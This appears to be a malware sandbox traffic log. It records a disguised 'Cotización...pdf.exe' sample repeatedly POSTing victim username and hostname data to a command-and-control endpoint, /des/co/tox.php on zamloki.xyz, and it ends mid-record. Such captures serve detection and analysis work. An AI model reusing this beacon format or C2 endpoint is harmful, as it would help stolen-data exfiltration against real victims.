Aug 4, 2021 13:56:28.588433981 CEST	6019	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BY50z5DI1OzIPUQ2ZYi%2F0lZPTcqBxfgZYQq0yAQ7Z5x%2FfYeJeAO3maaSvs4d2MAc5e0xLiRu5eQ%2BmCEsEBZ94ZTdKvNzA2hnjpi07c9vHdlh14A9khNUeqKHz6gDsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a44fdf305bb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	49779	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:28.838258982 CEST	6020	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:28.856903076 CEST	6020	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:29.110639095 CEST	6021	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hvorUbMaYFU9toupvN9ct13pjuLnhoaa6WC36jy577NFRK%2F6JcoJ%2FjaxHA8%2BD%2FoRtaCWzOxiLblXIFbvGSQJy8lNzSWTYq%2FaMvM732QHaexLvEVwdI0yxpDfNzXnCw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a4849265373-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	49780	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:29.346415997 CEST	6022	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:29.363399982 CEST	6022	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:29.607760906 CEST	6023	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6cBrmmYSI1zDZu5OQSJvkcS5tylfsixMB0JM%2BZmvyjxPxUj4bsInuE2G4GLJWxtdCeWqBKBVP9Jr%2FfER7plz%2BQsBf4C9AmkaqyBJnC8QK%2BrycaaVcEhX3rwKXYLFfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a4b79ea4ed4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	49781	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:29.841646910 CEST	6024	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:29.860452890 CEST	6024	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:30.094325066 CEST	6025	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wtMUGysjkDYOXe0DzOS5WfxItXU69NtNQ9KWbRIL%2FzVUWlsseWiDAh6qNFAkmP2XfGrjZWmhGvXwrBIt1J6zF3cmVau%2BiC5ZzRS%2BJf%2BeX77BHyfAk08Ye3F5TnMgOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a4e9ed8073e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	49782	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:30.326191902 CEST	6026	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:30.344091892 CEST	6026	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:30.604006052 CEST	6027	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1k4g7dP6Gqyh1Er3QoW0vMV%2BXX%2FWzjfOVy7xGc08aAEmmaJ9ze6gCKj1O9hWgZkGH%2BfvjcoXVQobFJKMAdR7K3bBmef%2FiK18%2Fp9PXIGDTQVAn%2FyMYMNaWDVgVx3ydw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a519ddbc2f9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	49783	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:30.845405102 CEST	6027	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:30.862215996 CEST	6028	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:31.102107048 CEST	6029	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NggiXeHGlSMK%2B9pOzNRhlxHB81NMCGlR3i4xbRYO7WALanWZDjszV4EmgV0he68RISJeL24gpR9vot6yqMp4hqPZFlpfADGr%2Fu0mX60OAWDt7a1TIPDj6aXhBMqV%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a54dc8f42db-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	49784	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:31.351155996 CEST	6029	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:31.368207932 CEST	6030	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:31.609783888 CEST	6030	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=P1T71%2B6Ard7HvH9KnxtGaXVAT4PnFtsr%2F4MYn2DrUtor5DjmlnXUYEjXTfpj923EJpEqiuPgLBb%2BavHDWN15YIPOZfdiAg6rFlcnzcOzzXSP%2FUFXht6xzI1Uz2WZ0A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a580f541f45-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	49785	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:31.839354992 CEST	6031	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:31.856201887 CEST	6032	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:32.098568916 CEST	6032	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mXcYCMv3b3ctw3ylHXVAO%2BQD35UotFuiIkBQ00IesZNvbco2DI0f05W5vWX6anYEKOkyms2QZH4ltsdZL45BsT6RY2gNHhgmhPKCy7mo9mGsB80vsqgDNut4hxGKMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a5b094a42e7-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49719	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:54.656661987 CEST	1414	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:54.673470974 CEST	1415	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:54.923356056 CEST	1415	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FHpRh%2Blu5o5KSdwj%2FtSCaQ%2BD4918vGhlMzOQv5dhj7CEvPYF0CcxdzxJrp%2BwwboFE0dtBMb%2BnWW7kQQeGUYqPDfAdN1CuRuzXKuzLqmy4dVhl7hiuHPwUbdeAB92qA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979972aec90605-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	49786	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:32.346106052 CEST	6033	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:32.364979982 CEST	6033	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:32.610996962 CEST	6034	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mMw1PwujuIjxl%2BJENCWyxfVMvYVvBrrZw3YTmlj3ky8SxloKTL1FFjHdkKkFlawd8qmCtb1UTOBfwvC6TDIJ650dcSPSzhXU5uaHFnjW%2B6olyR775PI6CLm8YVpTPw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a5e3e044ac3-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.5	49787	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:32.870713949 CEST	6035	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:32.888336897 CEST	6035	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:33.155989885 CEST	6036	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fnhEHbMO3xNOF7%2BQ9RU7yJBwwd%2B0c%2FAfmlhAOOpDYBr81waGtRmP1dg7pbO538Nj4OI35QB92koq8JoZUcS2QRlXoDJ4KF%2BDjCwgeflmnKiKC%2BZj0ExhiDI1UbC6pA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a618acc4e56-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	49788	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:33.401242971 CEST	6037	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:33.418066978 CEST	6037	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:33.677248955 CEST	6038	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VPa3tRwu69cuJCP5GxJHJmh0KJphARm%2BH%2BzLKyFxAXwKsdqIdRjXQoDh02uzL%2FqM52X31SGOCToSq8ieM4C7MpwuZtuYxcee4T7Te%2FX4yzOMbCEv0vPhmss9tEsLLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a64cb2e2b4d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.5	49789	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:33.918286085 CEST	6039	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:33.935544014 CEST	6039	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:34.168966055 CEST	6040	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5fBawmP5e1UjnOc77P8FdfwXGLXr90fWXRHf2v%2Fc9Dxfxe%2FolehReqcAd718qpVxQ4OH%2BUjeQGVCcwBcSm61ZoYf1r2Hbn3ZlugHEWP8Fv9ECWMexk4twEfjHNV5BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a680d354eb6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	49790	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:34.425625086 CEST	6041	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:34.442441940 CEST	6041	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:34.695437908 CEST	6042	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5Rw10L%2FRh2C1HMzt0JTb%2FXhGyGmedhMAJIXNZYkdBx3EqMb3C7Gca7nS77dbogUpZeN543QbE%2F3mnx%2FJBBq%2FQhd1BMFWRpvPLvmJRofMi3Dh0lVKrCQvxhrAKDpZVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a6b3c3f4414-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.5	49791	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:34.954734087 CEST	6042	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:34.971971035 CEST	6043	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:35.234993935 CEST	6043	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YCCTz9ay0aApQXxqzBMxnsNLrCfnXorB%2BkPFxMhLdc%2BYKO59wKD%2B82P0JXp4oNEawxmCuWdg%2F5sdfb%2Fv%2F3Bu1QRSfQu8z4fshUS%2FRna%2Bb%2F8wJWNQz98kGIYJsDArqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a6e8c114ab6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	49792	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
